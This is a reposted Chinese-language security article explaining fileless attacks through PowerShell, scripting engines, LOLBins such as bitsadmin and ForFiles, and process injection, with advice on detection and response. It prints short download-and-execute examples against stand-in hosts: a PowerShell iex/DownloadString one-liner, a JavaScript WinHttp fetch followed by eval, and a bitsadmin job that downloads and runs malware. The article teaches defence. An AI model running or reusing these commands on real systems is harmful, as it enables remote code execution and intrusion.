无文件攻击一览:利用 Powershell 和 Microsoft 合法应用程序进行攻击

admin 2024年12月4日21:51:33评论22 views字数 4925阅读16分25秒阅读模式

无文件攻击一览:利用 Powershell 和 Microsoft 合法应用程序进行攻击

介绍

无文件攻击已经存在多年。然而,它们在绕过防病毒软件方面仍然非常有效,并使检测和响应变得更加困难。

不仅如此,无文件攻击还使威胁情报变得更加困难,因为它主要依赖于可能从一个版本变为另一个版本的文件哈希和 IoC。

在本文中,我们将介绍无文件攻击是什么、它们的组成部分以及如何检测、调查和保护您的组织免受无文件攻击。

什么是无文件攻击?

无文件攻击是避免将文件写入磁盘的攻击类型。它们可能包含完全在内存中运行的恶意代码,利用合法的系统工具和进程来执行其有效负载。

这并不意味着无文件攻击根本不写入文件。它们可能从带有宏或 .LNK 文件(桌面快捷方式)的恶意文档开始,但攻击的其余部分将变成无文件攻击。

攻击者不会将更多的可执行文件或脚本放入目标系统,而是直接将恶意代码注入正在运行的进程中,或使用内置的 Windows 工具(如 PowerShell、Windows 管理规范 (WMI)、LOLBAS/LOLBINS 和注册表项)来实现他们的目标。

为什么会发生无文件攻击?

这些复杂的攻击特别危险,因为它们绕过传统的基于文件的安全解决方案并且在系统上留下极少的痕迹。

它们还能绕过数字取证,不会留下非易失性工件。使用 KAPE 进行磁盘复制或收集工件可能无济于事。

此外,如果恶意软件不以保持持久性(系统重新启动时自动运行)为目标,则重新启动系统后可能没有任何该恶意软件的痕迹。破坏事件响应和调查过程。

最后,无文件攻击可能有助于绕过白名单。依靠微软的合法应用程序和受害者广泛使用的其他工具可以帮助绕过对执行未知或恶意可执行文件的任何限制。

最后,无文件攻击更容易实施,脚本更容易混淆,从而在很多方面使攻击更有效率。甚至使用包含 PowerShell 脚本的注册表值也可以轻松实现持久性。

对无文件攻击的误解

以下是您需要注意的有关无文件攻击的一些误解:

• “无文件攻击是新出现的”

无文件攻击已经存在了二十多年。2001 年的 Code Red 蠕虫病毒就是早期无文件攻击的一个很好的例子,这种病毒感染了数千个系统,但并未将文件写入磁盘。

• “攻击完全是无文件的”

大多数无文件攻击在某些时候仍会与文件系统交互。它们通常结合无文件和基于文件的技术,使其成为混合威胁,而不是纯粹的无文件操作。

正如我们之前所说的那样,就像使用宏或.LNK 文件编写恶意文档一样。

• “无文件攻击很少见”

根据最近的安全报告,大约三分之一的攻击是无文件攻击或采用无文件技术。这使它们成为当今网络环境中重大而常见的威胁。

• “传统防病毒软件可以阻止无文件攻击”

传统的防病毒解决方案通常难以应对无文件攻击,因为它们主要依赖于基于文件的检测方法。这就是为什么需要专门的基于行为的安全解决方案来有效防范无文件威胁的原因。像 EDR(端点检测响应)或类似的基于主机的入侵防御系统

无文件攻击的组件和技术

1. 脚本引擎 Powershell

Powershell 是攻击者最常用的脚本语言之一。它可以访问大多数 Windows 功能,内置于 Windows 中,并且可以直接在内存中加载 C# 模块(以及访问 C++ 等 Windows API)。

微软尝试在 Powershell 中提供不同的安全功能来限制攻击者的使用,例如 AMSI、脚本日志记录等,但它仍然被当今攻击组织广泛使用。

iex((New-Object Net.WebClient).DownloadString('https://malware.com/payload.ps1'))

在这个简单的脚本中,攻击者下载了一个额外的 PowerShell 负载并在内存中执行它(而不将其写入磁盘)。“iex”指令是“Invoke-Expression”的快捷方式/别名,它执行代码

“New-Object Net.WebClient” 是一个 Powershell 代码,它与 Microsoft .Net 类(本例中为 Net.WebClient)交互,以创建基于代码的 Web 浏览器,该浏览器使用“DownloadString”下载恶意软件

无文件攻击一览:利用 Powershell 和 Microsoft 合法应用程序进行攻击

APT 41 Powershell C&C 通信来自https://threatmon.io

这是 APT41 在 C&C 通信中使用 Powershell 的另一个示例。

在此脚本中,恶意软件向攻击者发送一些信息,包括公共IP(来自ip-api.com)、网络适配器信息、操作系统信息、防病毒信息和用户信息(whoami)。

因此,Powershell 可以用作第一阶段的下载和执行脚本,也可以作为发送受害者信息和执行命令的成熟恶意软件。

借助Invoke-Obfuscation或AMSI.Fail等工具,攻击者可以绕过 Powershell 的安全功能并绕过防病毒扫描

VBScript 和 Javascript

另一种常见的脚本语言是 Javascript 和 VBScript。这两种脚本语言可以在恶意软件的第一阶段与 COM Scriptlets 一起使用,甚至可以在 wscript.exe 应用程序中完全不使用文件的情况下使用。

这些语言不提供像 Powershell 那样从命令行运行内联脚本的功能,但它们可以从 XML 文件或其他不常见类型的文件内部执行

此外,它们还提供执行应用程序(包括带有内联脚本的 Powershell)或使用 DotNetToJScript 在内存中加载完整的 C# 模块的能力。

您可以在此处阅读有关红队的 COM 对象中这些用途的更多信息:

https://medium.com/maltrak/com-objects-p-1-the-hidden-backdoor-in-your-system-947ac4285e85

恶意 JavaScript 代码示例:

net = new ActiveXObject("WinHttp.WinHttpRequest.5.1");
net.Open("GET","http://malware[.]com/malware.js",false);
net.Send();
js = net.ResponseText;
eval(js);

这是一个下载并执行的 JavaScript,用于下载附加脚本。它不会将其保存到磁盘,而是使用“eval”命令直接从内存中执行

2. LOLBAS/LOLBINS

微软有很多合法的应用程序可以被滥用来直接从内存或磁盘下载、解码和执行有效载荷

LOLBAS 项目提供了所有可能滥用的不同应用程序的列表、您可以从中获得什么用途以及如何滥用它们。

无文件攻击一览:利用 Powershell 和 Microsoft 合法应用程序进行攻击

LOLBAS项目:https://lolbas-project.github.io

你可以使用这些合法应用程序在系统空闲时下载并执行恶意软件,例如 bitsadmin

bitsadmin /create <malware-job>
bitsadmin /addfile <malware-job> http://<malware website>/<malware>.exe <file path>
bitsadmin /SetNotifyCmdLine <malware-job> <command to execute>
bitsadmin /resume <malware-job>

此 bitsadmin 命令列表创建了一项用于下载恶意软件负载的新任务。在系统空闲时下载该负载,然后使用 /SetNotifyCmdLine 执行恶意软件。

这也可以用于下载编码的有效载荷,对其进行解码,然后使用其他 LOLBIN 执行它

另一个例子是 APT41 使用 ForFiles.exe 执行命令提示符命令。

该工具用于文件搜索和匹配,一旦在特定文件夹(在本例中为 system32)内找到匹配项(在本例中为 notepad.exe),它就能执行该应用程序。

无文件攻击一览:利用 Powershell 和 Microsoft 合法应用程序进行攻击

APT41 — 使用 ForFiles.exe 合法应用程序保持持久性 —by https://threatmon.io

您还可以在我们的文章中看到其他 LOLBIN:

https://medium.com/maltrak/com-objects-p-2-your-stealthy-fileless-attack-bf78318d9165

3. 内存注入

内存注入是无文件攻击中最常用的技术之一。它允许攻击者将其恶意软件及其行为伪装成受害者已经在使用的合法工具。

攻击者可能会以 chrome.exe 为目标,通过使用代码注入甚至使用恶意扩展将恶意通信伪装成正常浏览。

他们还可以将代码注入 svchost.exe(服务主机进程)中,将恶意软件伪装成服务。一些恶意软件甚至会创建自己的 svchost.exe,其唯一目的是进行注入。这通常与一种称为 Process Hollowing 的已知内存注入技术结合使用。

Process Hollowing 最早出现在 Stuxnet 恶意软件中,它是一种执行合法应用程序的技术,其唯一目的是运行恶意软件。它的工作原理如下:

  • 恶意软件以挂起模式打开一个进程

  • 它用内存空间中的恶意软件替换合法的应用程序代码

  • 最后,它恢复进程的执行

在此过程之后,合法应用程序不再存在于内存中;只有恶意软件仍然存在,并且它是该进程空间中执行的唯一代码。

您可以在此处阅读我对 stuxnet 的完整分析报告:

https://www.codeproject.com/Articles/246545/Stuxnet-Malware-Analysis-Paper

内存注入可用于保持运行且不被发现,方法是将内存注入到服务器中不间断运行的进程或服务中。这可能是 Tomcat.exe 或任何其他不间断连续运行的服务/应用程序

4. 其他技术

攻击者可能会使用其他脚本(如 bash 脚本、AppleScript、python 或其他语言)来保持持久性。

他们可能会使用带有宏(VBA 脚本)的恶意文档进行初始访问,然后随着时间的推移转向更多可下载的有效负载。

他们可能使用 WMI 和 RPC 协议在其他系统上远程执行恶意软件

最后,他们可能使用 Active Directory 作为与其他应用程序保持持久性的唯一方法,例如使用 ngrok 进行 RDP 隧道或使用 TeamViewer 进行持久性,以及使用 rclone 或 sftp 进行数据泄露。

无文件攻击检测与响应建议

为了应对无文件攻击,你需要

  • 更高的可见性:您需要通过实施端点检测响应 (EDR) 或任何主机入侵防御系统 (HIPS)(如 sysmon 或 OpenEDR)来获得对端点和服务器的可见性

  • 内存分析和监控:能够查看主机活动很重要,但如果没有能力深入挖掘机器本身的原始数据,您可能会错过很多信息。EDR和 sysmon 可以关闭或静音,您需要能够使用内存分析工具(如 volatility)或使用KAPE或Kansa框架收集易失性和非易失性数据。它们还可能有助于检测 EDR 无法看到的内存注入

  • Powershell 日志记录和监控: Powershell 是攻击者最常用的脚本语言。Powershell 日志记录不是最好的解决方案,但它为恶意脚本提供了额外的防御和检测层

  • 启用 Powershell 约束语言模式:约束语言模式可以帮助防止使用某些 .Net 类、Win32 API 调用和其他可能的恶意脚本。可以通过降级到 Powershell V2、通过其他方式加载程序集加载或其他技术来绕过约束语言模式。因此,在实施约束语言模式时,请务必遵循最佳实践

  • Active Directory 监控和强化: Active Directory 配置错误和缺乏监控不仅会为攻击者打开横向移动的大门,还会让他们能够在域内保持多年的持久性。确保在 Active Directory 上实施监控工具(如 Microsoft Defender for Identity),并使用 Red Teaming 服务积极测试其弱点

结论

无文件攻击已经存在多年。然而,它们在绕过防病毒软件方面仍然非常有效,并使检测和响应变得更加困难。

他们依靠滥用 Microsoft 合法应用程序,利用不同的脚本语言和内存注入从一个阶段移动到另一个阶段,从一个有效载荷移动到另一个有效载荷,而无需接触磁盘。

您不需要 100% 依赖传统的防病毒产品,而是在端点和服务器上实施端点检测响应,监控 PowerShell 活动和活动目录攻击。

原文始发于微信公众号(Ots安全):无文件攻击一览:利用 Powershell 和 Microsoft 合法应用程序进行攻击

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年12月4日21:51:33
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   无文件攻击一览:利用 Powershell 和 Microsoft 合法应用程序进行攻击https://cn-sec.com/archives/3467713.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息